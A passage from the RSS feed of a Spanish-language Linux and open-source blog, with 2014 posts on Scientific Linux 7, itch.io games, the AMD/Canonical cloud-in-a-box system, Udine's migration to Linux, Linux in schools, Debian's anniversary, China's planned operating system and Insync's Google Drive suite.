      <guid>https://www.igalvan.es/posts/scientific-linux-70-release-notes/</guid>
      <description><![CDATA[<p>Link: <a href="http://ftp.scientificlinux.org/linux/scientific/7/x86_64/release-notes/">Scientific Linux 7.0 Release Notes</a><br/><br/>    <p><span data-reactid=".0.0">Se ha hecho esperar pero finalmente está aquí la versión final de <strong>Scientific Linux 7</strong>, clon a nivel binario de <a href="http://www.muylinux.com/2014/06/10/red-hat-enterprise-linux-7" title="Red Hat Enterprise Linux 7 ha sido liberado" target="_blank">Red Hat Enterprise Linux 7</a> (RHEL 7) con una marcada deriva científica, como su nombre adelanta.</span></p></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Juegos indie a saco en itch.io - MuyLinux</title>
      <link>https://www.igalvan.es/posts/juegos-indie-saco-en-itchio-muylinux/</link>
      <pubDate>Mon, 13 Oct 2014 13:24:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/juegos-indie-saco-en-itchio-muylinux/</guid>
      <description><![CDATA[<p>Link: <a href="http://www.muylinux.com/2014/10/10/itch-io-juegos-indie">Juegos indie a saco en itch.io - MuyLinux</a><br/><br/>    <blockquote class="link_og_blockquote"><br/><div>Descubre itch.io, todo un templo para los desarrolladores indie con más de 500 juegos totalmente gratuitos para Linux.</div><br/></blockquote></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>La nube de AMD y Ubuntu en una caja</title>
      <link>https://www.igalvan.es/posts/la-nube-de-amd-y-ubuntu-en-una-caja/</link>
      <pubDate>Fri, 19 Sep 2014 21:53:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/la-nube-de-amd-y-ubuntu-en-una-caja/</guid>
      <description><![CDATA[<p>Uno de los mayores éxitos de HP con sus sistemas <em>blade</em> es que lo estaba comercializando como un centro de datos en una caja. Este enfoque fue posteriormente utilizado por otros proveedores de sistemas blade, pero no antes de que HP hubiera conseguido una cuotasignificativa del mercado. AMD y <em>Canonical</em> esperan ahora repetir ese éxito para aquellos clientes que buscan una solución de nube privada que sólo puede caer en su centro de datos.</p>
<p>Este no es el primer intento de meter la nube en una caja. Ya en mayo,en la Cumbre de <em>OpenStack</em> en Atlanta, <em>Canonical</em> anunció <em>UbuntuOrange Box</em>, una colección de 10 microservidores <em>Intel</em> NUC con uso de memoria compartida y un <em>switch gigabit</em>, todo ello alojado en una sola caja. El producto ha tenido cierto éxito, pero no tanto como el que a <em>Canonical</em> le gustaría.</p>
<p>Esta nueva nube en una solución de caja que es probable que obtenga mucha más atención, lo que es bueno tanto para AMD como para <em>Ubuntu</em>. La solución consiste en un servidor <em>SeaMicro</em> SM15000 y el <em>software</em> de <em>Canonical</em> consiste en:</p>
<ul>
<li>3 Controladoras de nube.</li>
<li>57 nodos <em>Nova</em>.</li>
<li>3 nodos <em>Cinder</em>.</li>
<li>64 TB de almacenamiento.</li>
<li>128 GbE NIC (Max. 512).</li>
<li>Conmutador de capa 2 integrado.</li>
<li>80 Gbps de E/S.</li>
<li>Consume 55 vatios por servidor.</li>
<li><em>Ubuntu</em> LTS 14.04 y <em>OpenStack</em>.</li>
<li>MAAS.</li>
<li><em>Juju</em>.</li>
</ul>
<p>Los clientes obtienen simplicidad al implementar una nube privada.
Una de las ventajas de crearla como una unidad de 10U es que encajará rápidamente en el espacio ocupado actualmente por soluciones de servidores <em>blade</em> existentes. Con muchas grandes organizaciones que luchan para desplegar <em>OpenStack</em> en la parte superior de su infraestructura de servidor <em>blade</em> actual, esta simplicidad atraerá.</p>
<p>Otra ventaja es el bajo consumo de energía de la <em>SeaMicro</em> SM15000 en comparación con una solución <em>blade</em> HP o Dell. Esto hará que sea atractivo no sólo para aquellas empresas que buscan una nube privada en las instalaciones, sino también para los proveedores de servicios que buscan soluciones simples de nube privada que pueden ofrecer a los clientes de tamaño medio.</p>
<p>Según Dhiraj Mallick, vicepresidente corporativo y gerente general de soluciones de centro de datos de servidor de AMD:</p>
<blockquote>
<p>&ldquo;AMD y Canonical han dedicado una enorme cantidad derecursos de ingeniería para asegurar una solución integrada queelimina la complejidad de la implementación de la tecnologíaOpenStack. El servidor SM15000, Ubuntu LTS 14.04 yOpenStack es una solución increíble que llena una necesidad en la industria sobre una solución OpenStack que se puede implementar fácilmente sin tener que gastar una fortuna en la contratación de servicios profesionales o equipos de personas.&rdquo;</p>
</blockquote>
<p>Lo más importante en este caso para los clientes es que se trata de una solución totalmente convergente que no requiere grandes cantidades de configuración o de formación. Ha habido un aumento en los dispositivos convergentes, especialmente alrededor del almacenamiento y las bases de datos, por lo que añadir la nube en una caja como una solución convergente tiene sentido.</p>
<h2 id="qué-obtendrán-amd-y-canonical-de-todo-esto">¿Qué obtendrán AMD y Canonical de todo esto?</h2>
<p>Tanto para AMD como para <em>Canonical</em> esto es más que sólo otra oferta de productos en un mercado cada vez más concurrido. AMD ha estado a la defensiva contra <em>Intel</em> en los últimos años y ha decidido que la mejor manera de avanzar es el hiper-escalado, los servidores de bajo consumo y ARM. Se ha introducido un procesador ARM de 64 bits diseñado para el centro de datos en la nube conocida como AMD <em>Opteron</em> 1100 o &ldquo;<em>Seattle</em>&rdquo;.</p>
<p>El procesador inicial de esta solución es el procesador AMD <em>Opteron</em>&quot;<em>Piledriver</em>&quot; con la opción de procesadores <em>Intel Xeon &ldquo;Haswell&rdquo;</em> y &ldquo;<em>Ivybridge</em>&rdquo;. Mirando hacia el futuro, sin embargo, es difícil ignorar el potencial de una opción AMD <em>Opteron &ldquo;Seattle</em>&rdquo; en algún momento en el futuro en función de la carga de trabajo y la demanda de los clientes.</p>
<p><em>Canonical</em> se beneficiará más de AMD. <em>Ubuntu</em> sigue siendo visto como una mala opción frente a <em>Red Hat</em> o <em>SUSE Linux</em> a pesar de acuerdos tanto con <em>Cisco</em> como con IBM. Este último ha estado apoyando fuertemente a <em>Ubuntu</em> con su nueva gama de soluciones POWER 8 y <em>Canonical</em> ha contribuido portando más de 40.000 aplicaciones a IBM POWER.</p>
<p>A pesar de este compromiso por parte de <em>Canonical</em>, IBM ha admitido que todavía tiene que conseguir que <em>Red Hat</em> y SUSE anuncien que sus soluciones <em>little-endian Linux</em> se podrán ejecutar en la plataformade POWER 8 para mejorar su credibilidad. Por desgracia esto no ayuda a la imagen de <em>Canonical</em> y <em>Ubuntu</em>, pero los acuerdos con <em>Cisco</em> y ahora AMD le dará mayor presencia.</p>
<p>Detrás de las escenas, <em>Canonical</em> ha hecho otras ofertas que lo convierten en un jugador más grande de <em>Linux</em> lo que muchos creen. En junio se firmó un acuerdo con <em>Mirantis</em> para asegurar que <em>Ubuntu</em> y <em>Mirantis OpenStack</em> trabajarán perfectamente. Ese acuerdo ha dado lugar a la versión de <em>OpenStack</em> que se distribuye en esta solución.</p>
<p>Además, <em>Canonical</em> ha firmado un acuerdo con <em>Docker</em> para garantizar que su solución de contenedores se ejecuta sin problemas en <em>Ubuntu</em>. Esto también hará que sea más atractivo para los clientes empresariales ya que <em>Docker</em> se está convirtiendo rápidamente en el nuevo estándar de contenedores.</p>
<h2 id="conclusión">Conclusión</h2>
<p>Este parece ser un buen negocio en general. Mientras que algunos clientes pueden no ser conscientes de <em>Ubuntu</em> en el espacio empresarial de <em>Linux</em>, que es más que capaz de mantenerse por si misma contra <em>Red Hat</em> y SUSE. El SM15000 de AMD no es sólo una tecnología probada, sino que es un reemplazo completo del sistema de <em>blades</em> con la potencia suficiente para la más compleja de las tareas. El resultado es que los clientes que han luchado con las implementaciones de nubes privadas pueden ahora acelerar ese proceso con una solución totalmente convergente.
Hay otros jugadores que ya están en el mercado con sus propias soluciones convergentes. <em>VMware</em> ha anunciado soluciones con algunos de sus socios de <em>hardware</em>, y HP está tratando de implementar <em>Helion</em> como una nube en una caja para los clientes del sistema <em>blade</em> existentes. ¿Tendrán AMD y <em>Ubuntu</em> éxito en este mercado? Será difícil, pero hay un montón de oportunidades en el mercado para otra solución, especialmente una que esté bien desarrollada e integrada como esta.</p>
<p>Fuente original traducida: <a href="https://www.business-cloud.com/articles/news/amd-cloud-box">https://www.business-cloud.com/articles/news/amd-cloud-box</a></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>El Municipio de Udine migrará a Linux para ahorrarse 360.000 euros</title>
      <link>https://www.igalvan.es/posts/el-municipio-de-udine-migrara-linux/</link>
      <pubDate>Tue, 16 Sep 2014 21:31:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/el-municipio-de-udine-migrara-linux/</guid>
      <description><![CDATA[<p>El otro día publicábamos una noticia sobre <a href="http://www.igalvit.es/aapp/2014/08/27/turin-ahorra-seis-millones-de-euros.html">la intención de la ciudad de Turín de migrar sus equipos a software libre</a> y hoy nos hemos encontrado con la buena noticia de que la ciudad de Udine se une a este selecto grupo.</p>
<p>La ciudad de Udine ha decidido centrarse en <em>Linux</em> y en la migración a <em>software</em> de código abierto que permitirá ahorrar a la ciudad más de 360.000 euros de dinero público.</p>
<p>Son muchos los municipios italianos que están (por fin) considerando seriamente pasarse a <em>Linux</em> y al <em>software</em> libre, que además de permitirles reducir su factura tecnológica, les proporciona sistemas más estables y seguros.</p>
<p>La migración cubrirá aproximadamente 900 ordenadores personales repartidos entre las distintas dependencias municipales y que deberá ser completado durante el año 2015 produciendo el ahorro de más estos 360.000 euros de dinero público según anunció Gabriel Giacomini del Departamento para la Innovación de la ciudad de Udine, que reconoce como el <em>software</em> libre se ha convertido cada vez más completa y fiable y que por tanto la migración no sólo ahorrará dinero, sino que también mantendrá operativo el mismo ordenador personal por varios años más.</p>
<p>La migración irá acompañada también de formación para todo el personal municipal, y estiman que a finales de año más del 40% de los empleados  municipales será capaz de trabajar en <em>Linux</em> y <em>software</em> de código abierto.</p>
<p>A fecha de hoy no sabemos la distribución <em>Linux</em> que será elegida para la migración, en cambio si esta clara la elección del paquete ofimática que será usado como alternativa a <em>Microsoft Office</em>, en este caso <em>Apache OpenOffice</em>.</p>
<p>Felicitaciones a la ciudad de Udine por haberse decidido por <em>Linux</em> y el <em>software libre</em>.</p>
<p>Como nota final indicar que no son estas dos las únicas iniciativas que se están desarrollando en Italia. En los últimos meses muchas otras organizaciones gubernamentales locales han dicho adiós a <em>Microsoft</em> cogiendo al <em>software</em> libre en su lugar.Entre ellos se encuentran la provincia autónoma de Tirol del Sur, las provincias de Perugia y Terni y la región de Umbría.</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Presión para el código abierto y Linux en las escuelas</title>
      <link>https://www.igalvan.es/posts/presion-para-el-codigo-abierto-y-linux/</link>
      <pubDate>Mon, 15 Sep 2014 21:29:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/presion-para-el-codigo-abierto-y-linux/</guid>
      <description><![CDATA[<p>Hace unos ocho años, empecé a ejercer presión para traer más
<em>Linux</em> y <em>software</em> de código abierto a las escuelas secundarias y a las
instituciones de formación profesional superior de TI en los Países Bajos y Bélgica. Así es como lo hice y lo que puedes aprender para hacer lo mismo donde vivas.</p>
<p>En primer lugar, <em>Linux</em> y el código abierto en la educación se pueden
clasificar en tres vertientes:</p>
<ul>
<li>La infraestructura de las escuela.</li>
<li>El escritorio con el que trabajan los alumnos y los profesores.</li>
<li>El plan de estudios para la educación de TI.</li>
</ul>
<p>El primer punto, la infraestructura en las escuelas consiste en un montón de diferentes programas informáticos, que se utiliza para la administración. Ejemplos de las aplicaciones como los sistemas de gestión de los estudiantes, los sistemas de gestión de documentos y los sistemas operativos. Básicamente, este <em>software</em> no es tan diferente de lo que se utiliza en otras industrias. Esto se aplica no sólo a la formación profesional, sino a todas las escuelas de cualquier nivel.</p>
<p>El segundo punto, las ordenadores de escritorio que se utilizan en las escuelas están funcionando principalmente en <em>Microsoft Windows®</em>, y gracias a un empujón para conseguir iPads® en las escuelas, sabemos también que pueden
educar con la ayuda de otros dispositivos. Así que, ¿por qué no un escritorio
<em>Linux</em>?</p>
<p>Por último, en la lista de puntos, he centrado la mayor parte de mi atención, tiempo y energía en el plan de estudios para la educación de TI en educación media y profesional superior en los Países Bajos. Hasta hace cinco años, yo era como una voz en el desierto cuando defendí por <em>Linux</em> y el código abierto en los planes de estudio. A menudo se reían de mí cuando predecía que <em>Linux</em> sería el sistema operativo más utilizado para los servidores. Hoy en día, nadie niega que <em>Linux</em> es un serio competidor en el mundo de los servidores.</p>
<p>Hasta hace muy poco, yo era parte de una comisión para traer un nuevo plan de
estudios para una escuela profesional superior para los administradores de
sistemas. Más de la mitad de las personas presentes estaban convencidos de que
<em>Linux</em> y el código abierto son indispensables para el centro de datos. Y, los administradores de hospedaje <em>Linux</em> y el código abierto son esenciales para que los graduados pudieran conseguir un trabajo en su empresa.</p>
<p>Para este grupo objetivo, es muy importante que el <em>software</em> sea escalable hacia arriba y hacia abajo, tanto técnica como económicamente. Afirman que esto es sólo lo suficientemente flexible con <em>software</em> de código abierto. Si ellos no son flexibles y sus competidores lo son, no pueden sobrevivir.</p>
<p>Un desarrollo más reciente que derribará muchas barreras en las escuelas que
quieren enseñar <em>Linux</em>, es la disponibilidad de material de <em>Linux</em> gratuita a través de la Academia Cisco. Desde este ciclo escolar diez millones de estudiantes en todo el mundo tienen acceso gratuito a materiales de enseñanza de nivel de entrada de <em>Linux</em> a través de este método. Se trata de material
didáctico basado en el conjunto mundial de objetivos de <em>LPI Linux Essentials</em>.</p>
<p>Este es el siguiente paso en la dirección correcta, pero aún no estamos allí. Por el momento, hay muchos maestros en TI, que no tienen conocimiento o experiencia con <em>Linux</em> y <em>software</em> de código abierto. Así, proveyendo a los profesores de la formación adecuada y la certificación correspondiente es cómo podemos ayudar más.</p>
<p>¿Está su escuela enseñando <em>Linux</em> y <em>software</em> de código abierto?</p>
<p>El tren ha salido de la estación y no va a parar.  Depende de las escuelas y de los profesores asegurarse de que salten a bordo. ¿Lo harás tú?</p>
<p>Publicación original: <em>Dutch Linux Magazine</em>, Número 15, Julio/Agosto 2014.</p>
<p>[1] Abreviatura de Tecnologías de la Información.</p>
<p>[2] Traducido del inglés <em>hosting</em>.</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Debian cumple 21 años</title>
      <link>https://www.igalvan.es/posts/debian-cumple-21-anos/</link>
      <pubDate>Mon, 15 Sep 2014 21:27:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/debian-cumple-21-anos/</guid>
      <description><![CDATA[<p><em>Debian</em> cumple 21 años de existencia y desde esta bitácora quiero desearles a los miembros de esta comunidad una muy larga y prospera vida para este proyecto, y de paso dar las gracias a la gente que en algún momento ha colaborado para que todos podamos disfrutar de esta gran distribución. Gracias a todos y ¡larga vida a Debian!</p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>China avanza en la creación de su propio sistema operativo</title>
      <link>https://www.igalvan.es/posts/china-avanza-en-la-creacion-de-su/</link>
      <pubDate>Thu, 28 Aug 2014 21:20:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/china-avanza-en-la-creacion-de-su/</guid>
      <description><![CDATA[<p>Ya hace tiempo que el Gobierno de la República Popular de China expresó sus preocupaciones sobre la
vigilancia que Estados Unidos está realizando sobre los ciudadanos e instituciones tanto de su
propio país como del resto del mundo.</p>
<p>Fruto de estas preocupaciones se estableció en marzo de este año un grupo de trabajo en
la Academia de Ingeniería de China encabezado por Ni Guangnan para crear un sistema
operativo de cosecha propia basado en <em>Linux</em>.</p>
<p>Según esta misma fuente, probablemente durante el próximo mes de octubre estará disponible una versión
de escritorio  que posteriormente, aunque sin fecha definida, se expandirá a los teléfonos
inteligentes y otros dispositivos móviles.</p>
<p>Entre las declaraciones que hizo Ni destacan las siguientes:</p>
<blockquote>
<p>[…]”Existen algunos problemas no relacionados con cuestiones técnicas que pueden complicar el
desarrollo de este proyecto, entre ellos la falta de fondos para la investigación y que muchos
desarrolladores trabajan en diferentes direcciones.”[…]</p>
</blockquote>
<blockquote>
<p>[…]”China cuenta con más de una docena de desarrolladores de sistemas operativos móviles que no tienen
derechos de propiedad intelectual independientes debido a que su investigación se basa en <em>Android</em>“, dijo Ni,
añadiendo el desarrollo futuro debe ser dirigido por el propio Gobierno Chino.[…]</p>
</blockquote>
<blockquote>
<p>[…]”El fin de <em>Windows XP</em> y la prohibición gubernamental sobre la adquisición de <em>Windows 8</em> han
abierto la puerta a los desarrolladores de sistemas operativos domésticos.[…]</p>
</blockquote>
<blockquote>
<p>[…]”Nuestra clave del éxito está en un entorno que puede ayudarnos a competir con <em>Google</em>, <em>Apple</em> y <em>Microsoft</em>“.[…]</p>
</blockquote>
<p>Siempre es bienvenida la iniciativa por parte de un gobierno o institución pública para desarrollar alternativas libres,
pero teniendo en cuenta los antecedentes del Gobierno Chino a este respecto, ¿será realmente <em>software</em> libre? ¿Será
un caballo de Troya para que el propio Gobierno de China haga lo mismo de lo que se queja? Lo veremos en un futuro
próximo.</p>
<p>Fuente: <a href="http://www.bbc.com/news/technology-28928369">http://www.bbc.com/news/technology-28928369</a></p>
]]></description>
      
    </item>
    
    
    
    <item>
      <title>Cloud Suite, Insync reinventandose con Google Drive</title>
      <link>https://www.igalvan.es/posts/cloud-suite-insync-reinventandose-con/</link>
      <pubDate>Wed, 27 Aug 2014 13:00:00 +0100</pubDate>
      
      <guid>https://www.igalvan.es/posts/cloud-suite-insync-reinventandose-con/</guid>
      <description><![CDATA[<p>Mientras seguimos con la eterna espera de que <em>Google</em> publique un cliente de <em>Google Drive</em> para <em>Linux</em>, nos vemos “casi obligados” a utilizar
una herramienta privativa como <em>Insync</em>. Y esto no es una opción porque las alternativas están o muertas como el caso de <em>Grive</em> o no tienen comparación posible.</p>
<p>¿A qué viene el párrafo anterior, pues es sencillo de explicar. Me acaba de llegar a mi cuenta un correo publicitario de esta compañía
invitándome a probar su nueva <em>suite</em> <em>Cloud Site</em> para <em>Google Drive</em> que está compuesta por cuatro aplicaciones:</p>
<ul>
<li><em>Drive Box</em>. El cliente de sincronización con <em>Google Drive</em>.</li>
<li><em>PrtSc</em>. Capturas de pantalla compartidas a través de un enlace de <em>Google Drive</em>.</li>
<li><em>Rolls</em>. Permite compartir una colección de fotos o el escritorio mediante un enlace.</li>
<li><em>Warehouse</em>. Permite realizar copias de seguridad directamente a <em>Google Drive</em>.</li>
</ul>
<p>Curiosamente de las cuatro que lo componen tan solo se puede probar <em>PrtSc</em> y aún sigue en modo beta, lo cual no deja de ser paradójico, ¿invitas a probar
un <em>software</em> que todavía no está disponible ni para probarlo? Yo no lo he entendido.</p>
<p>¿Vale la pena pagar por estos servicios? Pues depende, si usas mucho <em>Google Drive</em> como yo, puede que sí, pero sería un detalle poder probarlas antes.</p>
<p>Fuente: <a href="https://insync.io/">https://insync.io/</a></p>
]]></description>
      
    </item>
    
    
  </channel>
</rss>
